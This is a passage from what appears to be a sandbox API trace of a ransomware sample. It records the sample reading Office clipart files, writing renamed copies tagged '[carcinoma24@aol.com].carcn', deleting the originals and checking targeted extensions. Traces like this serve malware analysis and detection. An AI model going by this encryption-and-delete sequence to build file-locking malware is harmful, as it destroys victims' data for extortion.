Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0284.910] GetLastError () returned 0x0 [0284.910] ReadFile (in: hFile=0x438, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x5bc, lpOverlapped=0x0) returned 1 [0284.911] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x5c0, lpOverlapped=0x0) returned 1 [0284.913] ReadFile (in: hFile=0x438, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0284.913] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0284.913] SetEndOfFile (hFile=0x548) returned 1 [0284.913] CloseHandle (hObject=0x548) returned 1 [0284.927] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.927] SetEndOfFile (hFile=0x438) returned 1 [0284.933] CloseHandle (hObject=0x438) returned 1 [0284.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1 [0284.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0284.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0284.934] lstrlenW (lpString=".doc") returned 4 [0284.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0284.935] lstrlenW (lpString=".docx") returned 5 [0284.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0284.935] lstrlenW (lpString=".pdf") returned 4 [0284.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0284.935] lstrlenW (lpString=".xls") returned 4 [0284.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0284.935] lstrlenW (lpString=".xlsx") returned 5 [0284.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0284.935] lstrlenW (lpString=".ppt") returned 4 [0284.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0284.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0284.935] lstrlenW (lpString=".zip") returned 4 [0284.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0284.935] lstrlenW (lpString=".rar") returned 4 [0284.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0284.935] lstrlenW (lpString=".bz2") returned 4 [0284.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0284.935] lstrlenW (lpString=".7z") returned 3 [0284.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0284.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0284.935] lstrlenW (lpString=".dbf") returned 4 [0284.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0284.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0284.935] lstrlenW (lpString=".1cd") returned 4 [0284.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0284.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68 [0284.935] lstrlenW (lpString=".jpg") returned 4 [0284.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0284.936] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=2116) returned 1 [0284.936] CloseHandle (hObject=0x438) returned 1 [0284.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220 [0284.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0284.937] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.938] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0285.195] GetLastError () returned 0x0 [0285.195] ReadFile (in: hFile=0x438, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x844, lpOverlapped=0x0) returned 1 [0285.200] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x850, lpOverlapped=0x0) returned 1 [0285.201] ReadFile (in: hFile=0x438, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.201] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.201] SetEndOfFile (hFile=0x548) returned 1 [0285.201] CloseHandle (hObject=0x548) returned 1 [0285.201] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.202] SetEndOfFile (hFile=0x438) returned 1 [0285.204] CloseHandle (hObject=0x438) returned 1 [0285.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.348] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0285.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0285.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0285.413] lstrlenW (lpString=".doc") returned 4 [0285.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.413] lstrlenW (lpString=".docx") returned 5 [0285.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.413] lstrlenW (lpString=".pdf") returned 4 [0285.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.413] lstrlenW (lpString=".xls") returned 4 [0285.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.413] lstrlenW (lpString=".xlsx") returned 5 [0285.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.413] lstrlenW (lpString=".ppt") returned 4 [0285.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0285.413] lstrlenW (lpString=".zip") returned 4 [0285.413] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.413] lstrlenW (lpString=".rar") returned 4 [0285.413] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.413] lstrlenW (lpString=".bz2") returned 4 [0285.413] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.413] lstrlenW (lpString=".7z") returned 3 [0285.413] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0285.414] lstrlenW (lpString=".dbf") returned 4 [0285.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0285.414] lstrlenW (lpString=".1cd") returned 4 [0285.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0285.414] lstrlenW (lpString=".jpg") returned 4 [0285.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0285.415] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=1148) returned 1 [0285.415] CloseHandle (hObject=0x528) returned 1 [0285.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220 [0285.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0285.415] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.415] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0285.416] GetLastError () returned 0x0 [0285.416] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x47c, lpOverlapped=0x0) returned 1 [0285.440] WriteFile (in: hFile=0x568, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x480, lpOverlapped=0x0) returned 1 [0285.444] ReadFile (in: hFile=0x528, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.444] WriteFile (in: hFile=0x568, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.445] SetEndOfFile (hFile=0x568) returned 1 [0285.445] CloseHandle (hObject=0x568) returned 1 [0285.445] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.445] SetEndOfFile (hFile=0x528) returned 1 [0285.447] CloseHandle (hObject=0x528) returned 1 [0285.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1 [0285.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0285.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0285.701] lstrlenW (lpString=".doc") returned 4 [0285.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.701] lstrlenW (lpString=".docx") returned 5 [0285.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.701] lstrlenW (lpString=".pdf") returned 4 [0285.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.701] lstrlenW (lpString=".xls") returned 4 [0285.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.701] lstrlenW (lpString=".xlsx") returned 5 [0285.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.701] lstrlenW (lpString=".ppt") returned 4 [0285.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0285.701] lstrlenW (lpString=".zip") returned 4 [0285.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.701] lstrlenW (lpString=".rar") returned 4 [0285.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.701] lstrlenW (lpString=".bz2") returned 4 [0285.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.701] lstrlenW (lpString=".7z") returned 3 [0285.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0285.701] lstrlenW (lpString=".dbf") returned 4 [0285.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0285.702] lstrlenW (lpString=".1cd") returned 4 [0285.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68 [0285.702] lstrlenW (lpString=".jpg") returned 4 [0285.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0285.705] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=15806) returned 1 [0285.705] CloseHandle (hObject=0x4ac) returned 1 [0285.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x220 [0285.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0285.706] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.706] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0285.707] GetLastError () returned 0x0 [0285.707] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x3dbe, lpOverlapped=0x0) returned 1 [0285.709] WriteFile (in: hFile=0x528, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x3dc0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x3dc0, lpOverlapped=0x0) returned 1 [0285.710] ReadFile (in: hFile=0x4ac, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.710] WriteFile (in: hFile=0x528, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.711] SetEndOfFile (hFile=0x528) returned 1 [0285.711] CloseHandle (hObject=0x528) returned 1 [0285.711] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.711] SetEndOfFile (hFile=0x4ac) returned 1 [0285.715] CloseHandle (hObject=0x4ac) returned 1 [0285.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01291_.wmf")) returned 1 [0285.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0285.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0285.836] lstrlenW (lpString=".doc") returned 4 [0285.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.836] lstrlenW (lpString=".docx") returned 5 [0285.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.837] lstrlenW (lpString=".pdf") returned 4 [0285.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.837] lstrlenW (lpString=".xls") returned 4 [0285.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.837] lstrlenW (lpString=".xlsx") returned 5 [0285.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.837] lstrlenW (lpString=".ppt") returned 4 [0285.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0285.837] lstrlenW (lpString=".zip") returned 4 [0285.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.837] lstrlenW (lpString=".rar") returned 4 [0285.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.837] lstrlenW (lpString=".bz2") returned 4 [0285.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.837] lstrlenW (lpString=".7z") returned 3 [0285.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0285.837] lstrlenW (lpString=".dbf") returned 4 [0285.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0285.837] lstrlenW (lpString=".1cd") returned 4 [0285.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 68 [0285.837] lstrlenW (lpString=".jpg") returned 4 [0285.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0285.838] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=7296) returned 1 [0285.838] CloseHandle (hObject=0x41c) returned 1 [0285.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220 [0285.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0285.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0285.839] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.839] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0285.840] GetLastError () returned 0x0 [0285.840] ReadFile (in: hFile=0x41c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x1c80, lpOverlapped=0x0) returned 1 [0286.099] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x1c90, lpOverlapped=0x0) returned 1 [0286.100] ReadFile (in: hFile=0x41c, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.100] WriteFile (in: hFile=0x548, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.100] SetEndOfFile (hFile=0x548) returned 1 [0286.108] CloseHandle (hObject=0x548) returned 1 [0286.109] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.109] SetEndOfFile 